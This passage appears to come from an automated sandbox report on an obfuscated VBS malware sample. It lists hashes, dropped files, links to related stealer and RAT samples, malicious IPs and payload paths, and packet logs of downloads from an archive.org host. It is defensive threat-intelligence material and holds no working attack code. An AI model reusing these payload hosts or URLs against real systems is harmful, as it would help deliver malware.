                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                            • Execution Graph export aborted for target powershell.exe, PID 7472 because it is empty
                            • Execution Graph export aborted for target powershell.exe, PID 7612 because it is empty
                            • Not all processes where analyzed, report is missing behavior information
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            23:28:30API Interceptor439x Sleep call for process: powershell.exe modified

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            45.79.190.1565qcJn1lfO5.rtfGet hashmaliciousRemcos, PureLog StealerBrowse
                            • 45.79.190.156/560/WRDF.txt
                            Ziraat Bankas#U0131 Swift Mesaj#U0131.docx.docGet hashmaliciousRemcos, PureLog StealerBrowse
                            • 45.79.190.156/560/WRDF.txt
                            207.241.227.240vr65co3Boo.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                              f4576JaIo9.vbsGet hashmaliciousPureLog StealerBrowse
                                89SkYNNpdi.vbsGet hashmaliciousAveMaria, PrivateLoader, PureLog StealerBrowse
                                  qiEmGNhUij.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                    ZJbugHcHda.vbsGet hashmaliciousPureLog StealerBrowse
                                      0BO4n723Q8.vbsGet hashmaliciousPureLog StealerBrowse
                                        PofaABvatI.vbsGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                          SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtfGet hashmaliciousPureLog StealerBrowse
                                            RFQ 2024.09.26-89 vivecta.vbsGet hashmaliciousPureLog StealerBrowse
                                              AGMETIGA zapytanie ofertowe.xlsGet hashmaliciousPureLog StealerBrowse

                                                Domains

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                ia600100.us.archive.orgvr65co3Boo.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                                • 207.241.227.240
                                                f4576JaIo9.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                89SkYNNpdi.vbsGet hashmaliciousAveMaria, PrivateLoader, PureLog StealerBrowse
                                                • 207.241.227.240
                                                qiEmGNhUij.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                                • 207.241.227.240
                                                ZJbugHcHda.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                0BO4n723Q8.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                PofaABvatI.vbsGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                • 207.241.227.240
                                                SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtfGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                RFQ 2024.09.26-89 vivecta.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                AGMETIGA zapytanie ofertowe.xlsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240

                                                ASNs

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                INTERNET-ARCHIVEUSvr65co3Boo.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                                • 207.241.227.240
                                                f4576JaIo9.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                89SkYNNpdi.vbsGet hashmaliciousAveMaria, PrivateLoader, PureLog StealerBrowse
                                                • 207.241.227.240
                                                qiEmGNhUij.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                                • 207.241.227.240
                                                ZJbugHcHda.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                0BO4n723Q8.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                PofaABvatI.vbsGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                • 207.241.227.240
                                                SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtfGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtfGet hashmaliciousRemcosBrowse
                                                • 207.241.227.96
                                                RFQ 2024.09.26-89 vivecta.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                LINODE-APLinodeLLCUSOXrZ6fj4Hq.exeGet hashmaliciousNeshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWormBrowse
                                                • 104.200.31.42
                                                https://trello.com/c/2T5XVROVGet hashmaliciousHTMLPhisherBrowse
                                                • 50.116.18.157
                                                https://0.pwsinc.shop/?MKPT=IncGet hashmaliciousCaptcha PhishBrowse
                                                • 172.105.17.244
                                                http://www.aieov.com/setup.exeGet hashmaliciousUnknownBrowse
                                                • 72.14.185.43
                                                https://thebrasilians.hosted.phplist.com/lists/lt.php?tid=KkkFBgMBXQUHUEsCB1QHTwZWAFYbCQpVBx0EBQABCgADAgJXVl1FVAIAUVFdUVhPBgUCVBsEA1JVHQ8BW1cUUAQGV1cBAF1aUgNQHVAHBFEFBgVRGwEAVQEdAlcLUBQKBAEDHlMAAVILAVBQBwUDBAGet hashmaliciousUnknownBrowse
                                                • 45.33.29.14
                                                https://tracking.groovesell.com:443/t/1c336171327d66d10a047ef8cbabb880Get hashmaliciousUnknownBrowse
                                                • 45.79.244.209
                                                https://jogosderobloxdematazumbie.blogspot.com/Get hashmaliciousUnknownBrowse
                                                • 172.105.170.95
                                                https://nikhiloswal.kanbantool.com/Get hashmaliciousHTMLPhisherBrowse
                                                • 23.92.17.109
                                                https://changeofscene.ladesk.com/605425-Secure-Business-DocumenGet hashmaliciousHTMLPhisherBrowse
                                                • 85.90.246.86
                                                http://ecometanexus.unids.com/Get hashmaliciousUnknownBrowse
                                                • 45.79.217.231

                                                JA3 Fingerprints

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                3b5074b1b5d032e5620f69f9f700ff0evr65co3Boo.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                                • 207.241.227.240
                                                f4576JaIo9.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                WW8kzvnphl.vbsGet hashmaliciousUnknownBrowse
                                                • 207.241.227.240
                                                89SkYNNpdi.vbsGet hashmaliciousAveMaria, PrivateLoader, PureLog StealerBrowse
                                                • 207.241.227.240
                                                qiEmGNhUij.vbsGet hashmaliciousAsyncRAT, DcRat, PureLog StealerBrowse
                                                • 207.241.227.240
                                                2THp7fwNQD.vbsGet hashmaliciousUnknownBrowse
                                                • 207.241.227.240
                                                iJEK0xwucj.vbsGet hashmaliciousUnknownBrowse
                                                • 207.241.227.240
                                                ZJbugHcHda.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                0BO4n723Q8.vbsGet hashmaliciousPureLog StealerBrowse
                                                • 207.241.227.240
                                                PofaABvatI.vbsGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                • 207.241.227.240

                                                Dropped Files

                                                ⊘No context

                                                Created / dropped Files

                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                Download File
                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                File Type:data
                                                Category:dropped
                                                Size (bytes):9434
                                                Entropy (8bit):4.928515784730612
                                                Encrypted:false
                                                SSDEEP:192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
                                                MD5:D3594118838EF8580975DDA877E44DEB
                                                SHA1:0ACABEA9B50CA74E6EBAE326251253BAF2E53371
                                                SHA-256:456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
                                                SHA-512:103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
                                                Malicious:false
                                                Reputation:moderate, very likely benign file
                                                Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                Download File
                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                File Type:data
                                                Category:dropped
                                                Size (bytes):64
                                                Entropy (8bit):1.1628158735648508
                                                Encrypted:false
                                                SSDEEP:3:NlllulF7///h:NllU
                                                MD5:34C16D1FA50B565A72B382C978CB2D56
                                                SHA1:6502B5517917B40F8E25CCB08620F21E79D15704
                                                SHA-256:612F4AE0F96FA0FEAB88126BFC524CA8D996602FE7EB6D476B91E0F17B852D41
                                                SHA-512:4E8B7DA62F407579C261F9C9942A643B3DF6E7BD10EA736AC4B972C89F3C6E516E391420FE0992799F542945C6E2651E155C10356256C020D68B5A3C153EDDAE
                                                Malicious:false
                                                Reputation:moderate, very likely benign file
                                                Preview:@...e................................................@..........

                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3yc2gw1.wej.ps1

                                                Download File
                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                File Type:ASCII text, with no line terminators
                                                Category:dropped
                                                Size (bytes):60
                                                Entropy (8bit):4.038920595031593
                                                Encrypted:false
                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                Malicious:false
                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jglf2n3i.53q.psm1

                                                Download File
                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                File Type:ASCII text, with no line terminators
                                                Category:dropped
                                                Size (bytes):60
                                                Entropy (8bit):4.038920595031593
                                                Encrypted:false
                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                Malicious:false
                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaloj2y0.fcc.ps1

                                                Download File
                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                File Type:ASCII text, with no line terminators
                                                Category:dropped
                                                Size (bytes):60
                                                Entropy (8bit):4.038920595031593
                                                Encrypted:false
                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                Malicious:false
                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzfqfe2t.fvg.psm1

                                                Download File
                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                File Type:ASCII text, with no line terminators
                                                Category:dropped
                                                Size (bytes):60
                                                Entropy (8bit):4.038920595031593
                                                Encrypted:false
                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                Malicious:false
                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                Static File Info

                                                General

                                                File type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                Entropy (8bit):3.7592738869769824
                                                TrID:
                                                • Text - UTF-16 (LE) encoded (2002/1) 64.44%
                                                • MP3 audio (1001/1) 32.22%
                                                • Lumena CEL bitmap (63/63) 2.03%
                                                • Corel Photo Paint (41/41) 1.32%
                                                File name:aK7smea2Vv.vbs
                                                File size:258'342 bytes
                                                MD5:1c640c5256d9b20ca3693754dadea139
                                                SHA1:025616236d051812117c1b2e482fb715f0e1cc94
                                                SHA256:5ae8ef220711cf775ea5b5e8a93db4e2a88829709cf68e1a810f47229fdba903
                                                SHA512:b264123663d6bebf38336025d69e3dcd790274e19d03365c2ddda45247b3ce4185d7e1d5e017ad24e09418fb7c99e89a4a897be33e49afbeef4297bc3a9e1ae2
                                                SSDEEP:6144:o5207dI7zUGkQEHliFWDNINCc5lnsOT2kuJu4V:o5E7zUVQEHwFWsCuns7kuFV
                                                TLSH:8F44070235EA7008F1F22F5296F965F94F67B9652939911E648C1B0F1BE3E80CE51BB3
                                                File Content Preview:..........N.x.p.z.Z.H.f.G.j.G.W.I.R.z.u.R.K.P.t.q.t.Z.q.U.a. .=. .".u.i.z.W.p.J.k.j.Z.U.l.L.b.i.h.o.Q.U.N.K.e.c.r.p.c.".....c.b.P.m.W.W.k.L.p.N.H.K.N.f.Z.K.k.Z.Q.l.R.L.a.e.c. .=. .".e.L.f.i.a.g.L.j.a.z.U.b.o.P.W.G.G.U.L.Z.W.k.Z.W.A.".....N.H.t.A.p.p.c.P.B

                                                File Icon

                                                Icon Hash:68d69b8f86ab9a86

                                                Network Behavior

                                                Network Port Distribution

                                                TCP Packets

                                                TimestampSource PortDest PortSource IPDest IP
                                                Oct 2, 2024 05:28:32.821259975 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:32.821330070 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:32.821413994 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:32.833616972 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:32.833661079 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.434895992 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.435061932 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.441118956 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.441149950 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.441485882 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.448169947 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.491445065 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.658334970 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.658359051 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.658375025 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.658432007 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.658462048 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.658507109 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.789551020 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.789575100 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.789700031 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.789715052 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.789782047 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.791047096 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.791065931 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.791130066 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.791140079 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.791193962 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.833705902 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.833723068 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.833796024 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.833820105 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.833865881 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.877953053 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.877973080 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.878029108 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.878082037 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.878101110 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.878151894 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.879482985 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.879502058 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.879559994 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.879581928 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.879610062 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.879637003 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.921964884 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.921983957 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.922044039 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.922076941 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.922092915 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.922118902 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.922683001 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.922698975 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.922750950 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.922759056 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.922808886 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.988593102 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.988612890 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.988744020 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:33.988809109 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:33.988874912 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.037533045 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.037550926 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.037652969 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.037681103 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.037729979 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.054857016 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.054872036 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.054949999 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.054960012 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.055002928 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.103521109 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.103539944 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.103662014 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.103691101 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.103769064 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.121189117 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.121208906 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.121336937 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.121346951 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.121474028 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.170203924 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.170223951 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.170341015 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.170366049 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.170416117 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.187366009 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.187390089 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.187486887 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.187496901 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.187537909 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.236426115 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.236443043 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.236569881 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.236584902 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.236633062 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.253902912 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.253920078 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.254024982 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.254034042 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.254076958 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.302933931 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.302954912 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.303109884 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.303143978 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.303203106 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.319960117 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.319978952 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.320103884 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.320127010 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.320172071 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.320700884 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.320735931 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.320760965 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.320769072 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.320796013 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.320813894 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.385957003 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.385982037 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.386102915 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.386135101 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.386218071 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.386878967 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.386909008 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.386986017 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.386995077 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.387042046 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.452390909 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.452419996 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.452534914 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.452564955 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.452619076 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.453258991 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.453282118 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.453334093 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.453341961 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.453380108 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.518692970 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.518728018 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.518850088 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.518891096 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.518949032 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.519720078 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.519741058 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.519792080 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.519798994 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.519828081 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.519853115 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.592133999 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.592164993 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.592255116 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.592283964 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.592298985 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.592324972 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.592636108 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.592657089 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.592715025 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.592721939 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.592765093 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:34.638032913 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:34.638076067 CEST44349706207.241.227.240192.168.2.9
